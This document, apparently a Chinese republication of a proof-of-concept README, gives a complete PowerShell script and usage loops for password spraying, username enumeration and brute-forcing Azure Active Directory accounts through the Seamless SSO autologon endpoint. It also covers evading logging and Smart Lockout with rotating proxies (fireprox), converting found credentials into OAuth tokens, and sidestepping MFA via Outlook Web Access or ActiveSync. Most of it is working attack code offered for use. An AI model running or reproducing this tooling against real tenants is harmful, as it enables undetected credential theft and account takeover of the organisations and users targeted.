SecureWorks 最近的 Azure Active Directory 密码暴力破解漏洞的 POC
描述
此代码是Secureworks 宣布的最近披露的 Azure Active Directory 密码暴力破解漏洞的概念验证
理论上,这种方法将允许对一个或多个 AAD 帐户执行暴力或密码喷射攻击,而不会导致帐户锁定或生成日志数据,从而使攻击不可见。
利用
基本用法很简单:
密码喷洒
代码语言:javascript复制.aad-sso-enum-brute-spray.ps1 USERNAME PASSWORD
以这种方式调用代码将允许您获取指定用户名和密码的结果。
通过利用 foreach,您可以轻松地利用它进行密码喷射:
代码语言:javascript复制foreach($line in Get-Content .all-m365-users.txt) {.aad-sso-enum-brute-spray.ps1 $line Passw0rd! |Out-File -FilePath .spray-results.txt -Append }
请注意,如果您想在 Linux 中使用此方法,则需要您将生成的文件从 UTF-16 转换为 UTF-8:
代码语言:javascript复制iconv -f UTF16 -t UTF-8 spray-results.txt >new-spray-results.txt
用户枚举
如果您只对枚举感兴趣,只需按上述方式运行即可进行密码喷射。任何“错误密码”的返回值,或“无用户”以外的任何值,都意味着您找到了一个有效的用户名。
用户名返回“True”表示提供的密码有效。
返回“锁定”可能意味着帐户被锁定,或者智能锁定暂时阻止您与帐户交互。
蛮力
要利用代码进行暴力破解,只需迭代密码字段而不是用户名字段:
代码语言:javascript复制foreach($line in Get-Content .passwords.txt) {.aad-sso-enum-brute-spray.ps1 test.user@contoso.com $line |Out-File -FilePath .brute-results.txt -Append }
找到有效的用户名/密码对后该怎么做
如果您发现一个或多个有效的用户名/密码对,您可以修改此代码以获取返回的 DesktopSSOToken。然后可以使用此方法将 DesktopSSOToken 交换为 OAuth2 访问令牌。
然后,OAuth2 访问令牌可以与各种 Azure、M365 和 O365 API 端点一起使用。
但是,此时您可能会被 MFA 绊倒。最好的办法是利用非 MFA 访问,例如 Outlook Web Access 或 ActiveSync。
重要的提示
如果您从同一 IP 地址过快地访问 API 端点,Microsoft 的智能锁定功能将开始错误地声称帐户已锁定。为了解决这个问题,我强烈建议使用ustayready 的 fireprox来避免这个问题。只需更改 $url 变量:
代码语言:javascript复制$url="https://xxxxxxx.execute-api.us-east-1.amazonaws.com/fireprox/" $requestid
但是,如果您尝试暴力破解特定帐户的密码,这将无法绕过 Smart Lockout。
aad-sso-enum-brute-spray.ps1
代码语言:javascript复制 $requestId = (New-Guid).ToString()
$user = $Args[0]
$domain = $user.Split("@")[1]
$password = $Args[1]
$now = Get-Date
$created = $now.toUniversalTime().toString("o")
$expires = $now.addMinutes(10).toUniversalTime().toString("o")
$url = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"
$body=@"
<?xml version='1.0' encoding='UTF-8'?>
<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>
<s:Header>
<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To s:mustUnderstand='1'>$url</wsa:To>
<wsa:MessageID>urn:uuid:$((New-Guid).ToString())</wsa:MessageID>
<wsse:Security s:mustUnderstand="1">
<wsu:Timestamp wsu:Id="_0">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken wsu:Id="uuid-$((New-Guid).toString())">
<wsse:Username>$User</wsse:Username>
<wsse:Password>$Password</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken Id='RST0'>
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
$exists = $false
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -ErrorAction SilentlyContinue
$exists = $true # Very bad password
}
catch
{
$stream = $_.Exception.Response.GetResponseStream()
$responseBytes = New-Object byte[] $stream.Length
$stream.Position = 0
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
$responseXml = [xml][text.encoding]::UTF8.GetString($responseBytes)
$errorDetails = $responseXml.Envelope.Body.Fault.Detail.error.internalerror.text
}
# Parse the error code. Only AADSTS50034 would need to be checked but good to know other errors too.
if(!$exists -and $errorDetails)
{
if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password.
{
$exists = "locked"
}
elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password.
{
$exists = "bad password"
}
elseif($errorDetails.StartsWith("AADSTS50056"))
{
$exists = "exists w/no password"
}
elseif($errorDetails.StartsWith("AADSTS50014"))
{
$exists = "exists, but max passthru auth time exceeded"
}
elseif($errorDetails.StartsWith("AADSTS50076")) # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}'
{
$exists = "need mfa"
}
elseif($errorDetails.StartsWith("AADSTS700016")) # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant.
{
$exists = "no app"
}
elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory.
{
$exists = "no user"
}
else
{
Remove-Variable exists
}
}
return $user " " $exists
return $errorDetails